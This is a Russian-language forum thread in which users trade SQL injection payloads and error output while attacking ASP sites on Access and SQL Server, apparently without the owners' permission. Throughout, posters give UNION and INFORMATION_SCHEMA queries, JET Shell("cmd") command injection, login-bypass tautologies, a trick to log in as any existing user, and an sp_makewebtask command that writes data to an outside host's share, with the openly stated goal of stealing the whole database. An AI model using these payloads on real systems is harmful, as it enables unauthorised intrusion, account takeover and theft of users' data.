Подскажите плиз. Проверял сайт на SQL injection и на запросы http://primer/index.asp?id=10’ UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES—выдал такое сообщение
Microsoft OLE DB Provider for ODBC Drivers error '80004005'
[Microsoft][ODBC Microsoft Access Driver] Could not find file 'C:\WINNT\system32\INFORMATION_SCHEMA.mdb'.
вроде INFORMATION_SCHEMA.TABLES должна существовать обязательно. (Системная таблица INFORMATION_SCHEMA.TABLES содержит информацию всех таблиц на сервере.) Как в этом случае можно узнать имя таблицы используемое этим сайтом?
Хе. Похоже что используется Access, а в нем нет таблицы INFORMATION_SCHEMA.
Хочешь быть мудрым? Не желай всего, что видишь; не верь всему, что слышишь; не говори всего, что знаешь; не делай всего, что умеешь, а только то, что полезно.
А хрен знает. Я вообще не понимаю как UNION мог пройти, Access его не поддерживает.
Хочешь быть мудрым? Не желай всего, что видишь; не верь всему, что слышишь; не говори всего, что знаешь; не делай всего, что умеешь, а только то, что полезно.
попробуй включить в конструкцию запроса '|shell("cmd")|' или просто Shell("cmd"); например: SELECT * FROM products WHERE productid=Shell("net send * u are oWnEd ",0);
(канает вроде только на движке JET <=3.5) на 4.0 не получалось.
g00dy пишет: попробуй включить в конструкцию запроса '|shell("cmd")|' или просто Shell("cmd"); например: SELECT * FROM products WHERE productid=Shell("net send * u are oWnEd ",0);
(канает вроде только на движке JET <=3.5) на 4.0 не получалось.
Ни чего не прокатило, примерно на такой запрос http://primer/index.asp?10' union SELECT * FROM TABLE_NAME WHERE number='|shell("cmd")|' выдал следующее Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC Microsoft Access Driver] Syntax error in string in query expression 'number='|shell("cmd")|'''. Ставил двойные кавычки, пробывал разнае варианты ни чего не помогло:(
Народ, я вообще asp плохо знаю, поэтому подскажите какой символ нужно поставить чтобы следующий за ним символ остался таким каким есть, например как в php: \" и каквычки остануться, т.к следуют за косой чертой.
Решил прояснить ситуацию, вот что я смог узнать: Есть сайт, на нем есть страница login.html, на этой странице два поля «логин» и «пароль», когда вводишь данные то вызывается файл login.asp, в нем происходит поиск «логина» в базе данных, если такой логин найдет, то из БД считывается пароль и сверяется с введенным и если все ок, доступ разрешен. Дело в том что введенная пользователем инфа не проверяется, поэтому в поле «логин» можно подставить SQL код, но все что здесь было описано не прокатило:(. Есть еще одно, «форма напоминания пароля». В ней два поля «логин» «мыло». Когда пользователь отправляет данные, то происходит поиск по БД «логина», если такой найден, начинается сравнивать «мыло», если и оно совпадает, то пароль высылается на мыло. И еще одно. Форма «изменение данных». В ней можно поменять только «мыло» и «пароль». Но тут уже ни чего не ищут по БД, здесь просто, если «старый» пароль пользователь указал верно, то то что написано в поле «мыло» записывается в БД при этом не идет проверка что ввел пользователь. Но потом, если загрузить эту страницу снова, все что было записано в БД, без изменений отображается на экране.
Сайт написан на asp + Access. Версии не знаю, не смотрел.
Подскажите, что можно сделать, а то что-то не верится, что имея такую «дыру» нельзя ни чего сделать. p.s. кстати, в поле "логин" прокатила и "' or 'a'='a", на это сайт выдал "не правильный пароль", хотя пароль я вообще не вводил, т.е. самая настаящая SQL injection.
можно попробовать побаловатся с изменением логики SQL запроса в полях login и passwd.. или с угадыванием полей базы.. попробуй еще можешь ли ты завершить один запрос и добавить второй (e.g: ' or 1=1;select 1; ) вообщем процесс творческий, нет единых рекомендаций )
Схожая ситуация, ненаходит INFORMATION_SCHEMA , на запрос типа: " or "1"="1";select "1 говорит: DAO.Database error '800a0c46' Characters found after end of SQL statement.
в форме 2 стоки ввода, логин и пасс, такой запрос я так понимаю надо вписывать в последнюю строку, но вписаное в поле пасс не возращает результат...
Может всё таки можно как то узнать какая таблица используется вместо INFORMATION_SCHEMA ?
У меня ситуация тоже интересная.. На запрос: http://www.xxx.com/product.asp?dept_id=97"%20or%20"1"="1";select%20"1&sku=ESP901&s=home выдает: Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax near ' or '. /product.asp, line 26 А на запрос: http://www.xxx.com/product.asp?dept_id='sp_tables'&sku=ESP901&s=home Возвращает: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Disallowed implicit conversion from datatype 'varchar' to datatype 'int' Table: 'Commerce.dbo.bbeuro_dept', Column: 'dept_id' Use the CONVERT function to run this query. /product.asp, line 26 Ну а на запрос: http://www.xxx.com/product.asp?dept_id="63"; exec master..sp_tables--&sku=C5UMBCBG3M Выдает: Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]sp_cursoropen: The statement parameter can only be a single select or a single stored procedure /product.asp, line 26
Может кто-нибудь из знающих может что-нить подсказать?
А первом слечае неправильный запрос после or - зачем ты ставил "1"="1"? правильно 1=1 без всяких кавычек.
Во втором случае ты в поле, где ожидается параметр типа int, ставишь параметр типа 'varchar'. Вот он и говорит, что так делать нельзя.
Хочешь быть мудрым? Не желай всего, что видишь; не верь всему, что слышишь; не говори всего, что знаешь; не делай всего, что умеешь, а только то, что полезно.
На запрос вида http://xxx.xx/LoginUser?USER=hi'%20or%201=1-- выдает мол пользователь опознан и все. Тоесть никакой нужной инфы, выдает либо пользователь опознан, либо говорит что нет такого, никаких сообщений типа
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' .............. /index.asp, line 5
Все это тоже неплохо если учесть что можно логиниться под любым существующим пользователем http://xxx.xx/LoginUser?USER=<any login>';%20--
Пытался слить базу как написано... мож я, что нитак делал... вставил в запрос: '; EXEC master..sp_makewebtask "\\myfeehost.ru\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES" заливал на сервак своего сайта, share - chmod 777, по какому протоколу вообще передается файл output.html? Я так понял что HTTP... Вобщем ничего у меня не вышло.
НО все-же есть ли способ спереть всю базу? На сервере http://xxx.xx - открыт только 80 порт. Может кто найдет время и проштудирует меня в этом вопросе. icq 2767779